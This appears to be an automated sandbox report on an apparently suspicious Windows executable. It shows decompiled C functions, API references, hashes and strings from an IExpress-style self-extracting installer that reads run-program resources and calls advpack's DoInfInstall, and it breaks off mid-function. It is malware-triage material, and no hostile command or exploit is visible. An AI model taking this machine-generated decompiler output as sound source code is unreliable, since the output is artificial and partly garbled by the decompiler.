Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-2312194364
Opcode ID: 81ddfc6ad3934d8d52ceb97ab1c9f8e99d6d76915c1f65b1e82e097611bd0463
Instruction ID: 330e0b080b4e795891aeb48ecf3d7712ca7bab366f527540904c68bede45c73b
Opcode Fuzzy Hash: 81ddfc6ad3934d8d52ceb97ab1c9f8e99d6d76915c1f65b1e82e097611bd0463
Instruction Fuzzy Hash: 2A11E57D6046416FEB54DFB8AC18F773B6AEBCA300F148519FA829B741DA369C078760

Uniqueness

Uniqueness Score: -1.00%

Function 00A43680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A43680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x00a4368c
0x00a4368f
0x00a43691
0x00a4369f
0x00a436a7
0x00000000
0x00000000
0x00a436ba
0x00000000
0x00a436bc
0x00a436bc
0x00a436c0
0x00a436cb
0x00a436c2
0x00a436c4
0x00a436c4
0x00a436da
0x00a436e0
0x00a436e6
0x00000000
0x00000000
0x00a436e6
0x00000000
0x00a436ba
0x00a436ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00A4369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00A436B2
DispatchMessageA.USER32(?), ref: 00A436CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00A436DA

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: d7327ba416a4b778e5ea3fa1c3d345505ba529deb9e12f2ba3feaac67ec61aaf
Instruction ID: 8b07dc58f278de5be5418775bf7c751f6302811c354d5c92ba842658b38299e4
Opcode Fuzzy Hash: d7327ba416a4b778e5ea3fa1c3d345505ba529deb9e12f2ba3feaac67ec61aaf
Instruction Fuzzy Hash: B101A77B940255B7DF308BEA5C48EEBB67CEBC6B11F010219F915E2180D561C641CA60

Uniqueness

Uniqueness Score: -1.00%

Function 00A46517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00A46517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0xa49a3c; // 0xa40000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E00A444B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x00a4651f
0x00a4652a
0x00a46534
0x00a4656b
0x00a46577
0x00a4657c
0x00a46536
0x00a4653e
0x00a46542
0x00000000
0x00a46544
0x00a46547
0x00a4654c
0x00a46549
0x00a46549
0x00a46549
0x00a4655e
0x00a46560
0x00a46569
0x00000000
0x00000000
0x00a46569
0x00a46542
0x00a46587

APIs

FindResourceA.KERNEL32(00A40000,000007D6,00000005), ref: 00A4652A
LoadResource.KERNEL32(00A40000,00000000,?,?,00A42EE8,00000000,00A419E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00A46538
DialogBoxIndirectParamA.USER32(00A40000,00000000,00000547,00A419E0,00000000), ref: 00A46557
FreeResource.KERNEL32(00000000,?,?,00A42EE8,00000000,00A419E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00A46560

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 0240d38390c349cd17f43e2edeb90968a9654760a31163063c5de4c94bddd342
Instruction ID: d543f359ecb57667d8038c28bcfe02260f113b5ba690f712bd5626594c11c5f7
Opcode Fuzzy Hash: 0240d38390c349cd17f43e2edeb90968a9654760a31163063c5de4c94bddd342
Instruction Fuzzy Hash: 5301267A140205BBDB109FA99C08EBB7A6CEBCB361F000225FE04A3150D7728C1186A3

Uniqueness

Uniqueness Score: -1.00%

Function 00A465E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00A465E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x00a465e8
0x00a465ed
0x00a465ef
0x00a465f2
0x00a465f4
0x00a465f4
0x00a465f6
0x00a465f7
0x00a46608
0x00a46611
0x00a46618
0x00a4661c
0x00000000
0x00000000
0x00a4660e
0x00a46623
0x00a46625
0x00a4663b
0x00a4663b
0x00a4663d
0x00a46641
0x00a46610
0x00a46610
0x00000000
0x00a46610
0x00a46644
0x00a46647
0x00a46647
0x00a46621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00A42B33), ref: 00A46602
CharPrevA.USER32(?,00000000), ref: 00A46612
CharPrevA.USER32(?,00000000), ref: 00A46629
CharNextA.USER32(00000000), ref: 00A46635

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 84aee89f9d21a425674aba3859c9f825672066ed7b59e28a8f90edf824669578
Instruction ID: 0e0e172d40508efcffe1ec23b0ba4965e2d70f50c22f1d472970d193ee3e23b2
Opcode Fuzzy Hash: 84aee89f9d21a425674aba3859c9f825672066ed7b59e28a8f90edf824669578
Instruction Fuzzy Hash: 15F0283E0041906EE7365B6C8C888BBFF9CCFDB355B2A02AFE49182001D6160D478A63

Uniqueness

Uniqueness Score: -1.00%

Function 00A469B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A469B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0xa481f8 = E00A46C70();
				__set_app_type(E00A46FBE(2));
				 *0xa488a4 =  *0xa488a4 | 0xffffffff;
				 *0xa488a8 =  *0xa488a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0xa48528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0xa4851c; // 0x0
				 *_t5 = _t12;
				_t6 = E00A47000();
				if( *0xa48000 == 0) {
					__setusermatherr(E00A47000);
				}
				E00A471EF(_t6);
				return 0;
			}

0x00a469b7
0x00a469c2
0x00a469c8
0x00a469cf
0x00a469d8
0x00a469de
0x00a469e4
0x00a469e6
0x00a469ec
0x00a469f2
0x00a469f4
0x00a46a00
0x00a46a07
0x00a46a0d
0x00a46a0e
0x00a46a15

APIs

Part of subcall function 00A46FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00A46FC5

__set_app_type.MSVCRT ref: 00A469C2
__p__fmode.MSVCRT ref: 00A469D8
__p__commode.MSVCRT ref: 00A469E6
__setusermatherr.MSVCRT ref: 00A46A07

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 0cfbcad1d288b7bd9dc51e61556adef6b7cd48621ba728baf5058a5705a33a7e
Instruction ID: 9512756e0cd4a0d83ddbff5a011eb2c0ded4048a53bb35ea61464aa9e8a5aec6
Opcode Fuzzy Hash: 0cfbcad1d288b7bd9dc51e61556adef6b7cd48621ba728baf5058a5705a33a7e
Instruction Fuzzy Hash: F2F0587C1487018FC714EBB4BE0A20C3B60FBC3321B100A09E462862F0CFBF80429A02

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sEm51bM.exePID: 3236, Parent PID: 3460COMMON

Execution Graph

Execution Coverage:	28.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	960
Total number of Limit Nodes:	24

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00323BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00323BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0x328004; // 0x2c4b51c8
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0x329124 =  *0x329124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0x328a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0x328c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E0032468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E003244B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0x329124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E00321AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E00326CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E00323FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0x328580;
													if( *0x328580 != 0) {
														E00322267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0x328180;
											if( *0x328180 == 0) {
												_t146 = 0x4c7;
												E003244B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0x329124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0x329a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E00326495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E003244B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0x329124 = E00326285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E003244B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0x328a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0x329a40; // 0x3
											_v364 = _t96;
											_t97 =  *0x328a38 & 0x0000ffff;
											_v380 = 0x329154;
											_v376 = _t151;
											_v372 = 0x3291e4;
											_v360 = _t97;
											if( *0x328a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0x329a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0x328d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0x329a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0x32a288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0x329124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0x329a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0x328a20;
										if( *0x328a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E0032202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E0032468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0x328c42;
									if( *0x328c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0x328a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E0032468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E0032468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E00321781( &_v276, 0x104, _t130, 0x328c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E0032468F(_t130, 0x329a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x00323baa
0x00323bb0
0x00323bb7
0x00323bc0
0x00323bc2
0x00323bc9
0x00323bcb
0x00323bcf
0x00323bd3
0x00323bd9
0x00323bfd
0x00323bfd
0x00323bff
0x00323c03
0x00323c03
0x00323c11
0x00323c16
0x00323c19
0x00323c28
0x00000000
0x00000000
0x00323c30
0x00323c39
0x00323c40
0x00323d13
0x00323d15
0x00323d21
0x00323d26
0x00000000
0x00323c4f
0x00323c56
0x00323c60
0x00323c65
0x00323c77
0x00323c78
0x00323c7c
0x00323c7e
0x00323c82
0x00323c82
0x00000000
0x00323c7c
0x00323c67
0x00323c69
0x00323c6d
0x00000000
0x00323c58
0x00323c58
0x00323c6e
0x00323c6e
0x00323c87
0x00323c89
0x00323d4d
0x00323d4f
0x00323d50
0x00323d52
0x00323d9e
0x00323da8
0x00323daf
0x00323db4
0x00323db6
0x00323f4d
0x00323f4d
0x00323f4f
0x00323f56
0x00323f57
0x00323f58
0x00323f63
0x00323f63
0x00323dbc
0x00323dc0
0x00323dc2
0x00323de6
0x00323de6
0x00323de8
0x00323f0b
0x00323f0b
0x00323f0f
0x00323f13
0x00323f15
0x00323f1a
0x00323f1c
0x00323f46
0x00323f47
0x00000000
0x00323f47
0x00323f1e
0x00323f1f
0x00323f25
0x00323f26
0x00323f2a
0x00323f2d
0x00323fd9
0x00323fd9
0x00323fda
0x00323fda
0x00323fe1
0x00323fe3
0x00323fe3
0x00323fe8
0x00000000
0x00323fe8
0x00323f33
0x00323f37
0x00000000
0x00323f37
0x00323dee
0x00323dee
0x00323df5
0x00323fad
0x00323fb9
0x00323fc2
0x00323fc8
0x00000000
0x00323fc8
0x00323dfb
0x00323dfd
0x00000000
0x00000000
0x00323e03
0x00323e0a
0x00000000
0x00000000
0x00323e15
0x00323e17
0x00323e19
0x00323f94
0x00323fa4
0x00323f7c
0x00323f80
0x00323f8b
0x00000000
0x00323f8b
0x00323e2c
0x00323e30
0x00323e34
0x00323e36
0x00323f69
0x00323f6e
0x00323f70
0x00323f76
0x00000000
0x00323f76
0x00323e3c
0x00323e43
0x00323e47
0x00323e52
0x00323e56
0x00323e5c
0x00323e61
0x00323e68
0x00323e70
0x00323e74
0x00323e7c
0x00323e80
0x00323e82
0x00323e82
0x00323e87
0x00323e87
0x00323e8b
0x00323e91
0x00323e94
0x00323e96
0x00323e96
0x00323e9b
0x00323e9b
0x00323e9f
0x00323ea2
0x00323ea4
0x00323ea4
0x00323ea9
0x00323ea9
0x00323ead
0x00323eb3
0x00323eb6
0x00323eb8
0x00323eb8
0x00323ebd
0x00323ebd
0x00323ec1
0x00323ec3
0x00323ec5
0x00323ec5
0x00323eca
0x00323eca
0x00323ece
0x00323ed5
0x00323ed9
0x00323ee0
0x00323ee6
0x00323eea
0x00323eec
0x00323eee
0x00323ef3
0x00323ef3
0x00323ef5
0x00323efa
0x00323efb
0x00323efd
0x00323f40
0x00000000
0x00323eff
0x00323eff
0x00323f05
0x00000000
0x00323f05
0x00323efd
0x00323dc7
0x00323dce
0x00000000
0x00000000
0x00323dd0
0x00323dd7
0x00000000
0x00000000
0x00323dd9
0x00323ddb
0x00000000
0x00000000
0x00323ddd
0x00323de1
0x00000000
0x00323de1
0x00323d59
0x00323d65
0x00323d6a
0x00323d6c
0x00000000
0x00000000
0x00323d6e
0x00323d75
0x00000000
0x00000000
0x00323d8f
0x00323d96
0x00323d98
0x00000000
0x00000000
0x00000000
0x00323d98
0x00323c8f
0x00323c98
0x00323cf1
0x00323cf3
0x00000000
0x00000000
0x00323cfe
0x00323d11
0x00000000
0x00000000
0x00000000
0x00323d11
0x00323c9c
0x00323ca5
0x00323ca7
0x00000000
0x00000000
0x00323cad
0x00323cb2
0x00323cb7
0x00323cc5
0x00000000
0x00000000
0x00323ce8
0x00323cec
0x00323ced
0x00323ced
0x00000000
0x00323ce8
0x00323c9e
0x00000000
0x00323c9e
0x00323c56
0x00323d35
0x00323d35
0x00323d3c
0x00323d48
0x00000000
0x00323d48
0x00323c03
0x00323be2
0x00323be7
0x00323bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 00323C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00323CDC

Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246A0
Part of subcall function 0032468F: SizeofResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246A9
Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246C3
Part of subcall function 0032468F: LoadResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246CC
Part of subcall function 0032468F: LockResource.KERNEL32(00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246D3
Part of subcall function 0032468F: memcpy_s.MSVCRT ref: 003246E5
Part of subcall function 0032468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003246EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00328C42), ref: 00323D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00323E26
FreeLibrary.KERNEL32(00000000,?,00328C42), ref: 00323EFF
LocalFree.KERNEL32(?,?,?,?,00328C42), ref: 00323F1F
FreeLibrary.KERNEL32(00000000,?,00328C42), ref: 00323F40
LocalFree.KERNEL32(?,?,?,?,00328C42), ref: 00323F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00328C42), ref: 00323F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00328C42), ref: 00323F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00328C42), ref: 00323FC2

Strings

<None>, xrefs: 00323CC9, 00323D7D
ADMQCMD, xrefs: 00323C9E
POSTRUNPROGRAM, xrefs: 00323D60
advpack.dll, xrefs: 00323F9D
REBOOT, xrefs: 00323BE2
cent, xrefs: 00323E68
USRQCMD, xrefs: 00323CAD
D, xrefs: 00323C19
DoInfInstall, xrefs: 00323E1F, 00323E24, 00323F68
RUNPROGRAM, xrefs: 00323D05
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00323E74
SHOWWINDOW, xrefs: 00323C34

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$cent
API String ID: 1032054927-1634589459
Opcode ID: a62da986a5eeb560798d94add9b0a2df2323b2cfccd2cd921a29c9022ae3a8c2
Instruction ID: a8e872a3f359b0cc478637afdecea5562e9ba8a34707d9cc6113969f11d9b7e2
Opcode Fuzzy Hash: a62da986a5eeb560798d94add9b0a2df2323b2cfccd2cd921a29c9022ae3a8c2
Instruction Fuzzy Hash: 3BB1D270908331AFD733DF24B945B6B76E8EB84700F11492EFA85D6191DB78CA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00321AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00321AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0x328004; // 0x2c4b51c8
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E00321680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
